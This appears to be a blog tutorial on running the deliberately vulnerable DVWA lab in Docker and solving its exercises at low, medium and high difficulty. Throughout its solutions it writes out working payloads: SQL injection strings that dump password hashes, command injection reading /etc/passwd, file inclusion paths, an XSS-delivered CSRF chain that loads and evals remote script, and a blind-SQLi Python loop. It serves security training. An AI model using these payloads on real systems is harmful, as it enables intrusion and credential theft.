Complete Guide to Setting Up DVWA and Mastering Web Vulnerabilities
The Damn Vulnerable Web Application (DVWA) is an intentionally vulnerable PHP/MySQL web application designed to help security professionals, developers, and students learn about web application security in a controlled environment. This guide will walk you through setting up DVWA using Docker and provide practical solutions for common web vulnerabilities.
⚠️ WARNING: DVWA is intentionally vulnerable. Never deploy it on public servers or production environments.
Getting Started: Docker Installation
Installing Docker
Before we can run DVWA, you'll need Docker installed on your system. Docker provides a consistent environment across different operating systems.
For detailed installation instructions, visit: https://docs.docker.com/get-started/get-docker/
Setting Up DVWA
1. Run the DVWA Container
Once Docker is installed, open your terminal or command prompt and run:
docker run --rm -it -p 80:80 vulnerables/web-dvwa
This command will:
- Download the DVWA image (first time only)
- Start the container
- Map port 80 from the container to your local port 80
2. Access DVWA
Open your web browser and navigate to:
http://localhost
3. Initialize the Database
You'll see the DVWA setup page. Click the "Create / Reset Database" button to generate the necessary database configuration.
4. Login
Use the default credentials:
- Username:
admin - Password:
password
5. Set Difficulty Level
Navigate to "DVWA Security" in the left menu to change the difficulty level. The default is "Impossible" - start with "Low" for learning purposes.
Understanding DVWA Difficulty Levels
DVWA offers four difficulty levels for each vulnerability:
- Low: No security measures - basic exploitation
- Medium: Some filtering/validation - requires bypassing
- High: More sophisticated protection - advanced techniques needed
- Impossible: Properly secured - demonstrates correct implementation
Web Vulnerability Solutions by Difficulty
Let's explore practical solutions for common web vulnerabilities, starting from beginner to advanced levels.
🔴 Low Difficulty Solutions
Perfect for beginners to understand basic attack vectors.
SQL Injection (Low)
Vulnerability: The application directly concatenates user input into SQL queries without validation.
Target: User ID input field
Source Code Analysis:
SELECT first_name, last_name FROM users WHERE user_id = '$id';
Solution 1 - View All Records:
' OR 1=1 --
This payload creates the query:
SELECT first_name, last_name FROM users WHERE user_id = '' OR 1=1 -- ';
Solution 2 - Extract Password Hashes:
' UNION SELECT first_name,password FROM users --
Result: Displays all user password hashes that can be cracked using tools like Hashcat or John the Ripper.
Command Injection (Low)
Vulnerability: User input is directly executed as system commands.
Target: IP address ping functionality
Payload:
127.0.0.1 ; whoami ; cat /etc/passwd
Result: Executes multiple commands, revealing system information and user accounts.
File Inclusion (Low)
Vulnerability: Application includes files based on unvalidated user input.
Target: Page parameter in URL
Solution 1 - Local File Inclusion:
http://localhost/DVWA/vulnerabilities/fi/?page=../../../../../../etc/passwd
Solution 2 - PHP Code Disclosure:
http://localhost/DVWA/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=../../../../../var/www/html/hackable/flags/fi.php
🟡 Medium Difficulty Solutions
Introduces basic filtering that can be bypassed with clever techniques.
SQL Injection (Medium)
Changes: Adds mysql_real_escape_string() and removes quotes around the ID parameter.
Bypass: Since the ID isn't enclosed in quotes, escape string filtering doesn't matter.
Payload:
1 OR 1=1 --
Password Extraction:
1 UNION SELECT first_name,password FROM users --
Command Injection (Medium)
Changes: Replaces && and ; with empty strings (but only once, not recursively).
Bypass 1 - Use Alternative Operators:
127.0.0.1 | whoami
Bypass 2 - Double Encoding:
127.0.0.1 ;; whoami
(After filtering: 127.0.0.1 ; whoami)
File Inclusion (Medium)
Changes: Removes http://, https://, ../, and ..\ from input.
Bypass - Non-Recursive Filtering:
....//....//....//....//....//etc/passwd
After filtering becomes: ../../../../../etc/passwd
🔶 High Difficulty Solutions
Requires advanced techniques and creative bypasses.
Command Injection (High)
Changes: Filters | (pipe with space) but not | without space.
Bypass:
127.0.0.1 |whoami
File Inclusion (High)
Changes: Uses fnmatch() to only allow files starting with "file".
Bypass 1 - Path Traversal:
file/../../../../../../../etc/passwd
Bypass 2 - File Protocol:
file:///etc/passwd
file:///var/www/html/hackable/flags/fi.php
CSRF (High)
Changes: Implements anti-CSRF tokens that regenerate with each request.
Advanced Bypass - XSS + CSRF Chain:
- JavaScript Payload:
var newpass = 'test'
var xhr = new XMLHttpRequest()
xhr.open('GET', 'http://localhost/DVWA/vulnerabilities/csrf/', false)
xhr.onload = function () {
var doc = new DOMParser().parseFromString(this.responseText, 'text/xml')
var csrf = doc.getElementsByName('user_token')[0].getAttribute('value')
var xhr2 = new XMLHttpRequest()
xhr2.open(
'GET',
`http://localhost/DVWA/vulnerabilities/csrf/?password_new=${newpass}&password_conf=${newpass}&Change=Change&user_token=${csrf}`,
false
)
xhr2.send(null)
}
xhr.send(null)
- XSS Delivery Vector:
<img
src="#"
onerror="var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://localhost:8000/high.js', false); xhr.onload = function () {eval(this[atob('cmVzcG9uc2VUZXh0')])}; xhr.send(null); "
/>
Advanced Techniques
Blind SQL Injection
When applications don't return query results, use Boolean-based techniques:
Length Discovery:
1' AND (select 'x' from users where first_name='admin' and LENGTH(password) > 31)='x' #
Character-by-Character Extraction:
1' AND (select substring(password, 1, 1) from users where first_name='admin')='5' #
Automation Scripts
For complex attacks like Blind SQL Injection, automation is essential:
import requests
def sql_injection_blind(url, payload):
response = requests.get(url + payload)
return "User ID exists" in response.text
# Extract password length
for length in range(1, 50):
payload = f"1' AND LENGTH((SELECT password FROM users WHERE username='admin'))={length}#"
if sql_injection_blind(target_url, payload):
print(f"Password length: {length}")
break
Conclusion
DVWA provides an excellent platform for learning web application security in a controlled environment. By progressing through the difficulty levels, you'll develop a understanding of common vulnerabilities and how to exploit them. More importantly, you'll learn how to properly secure applications against these attacks.
Remember: The goal isn't just to break things, but to understand how to build secure applications that protect users and data.
Happy learning, and stay secure! 🔒
For more advanced penetration testing techniques and security resources, consider exploring platforms like HackTheBox, TryHackMe, and PortSwigger's Web Security Academy.

Comments
Nothing yet. Say the first thing.
Sign in to join the conversation.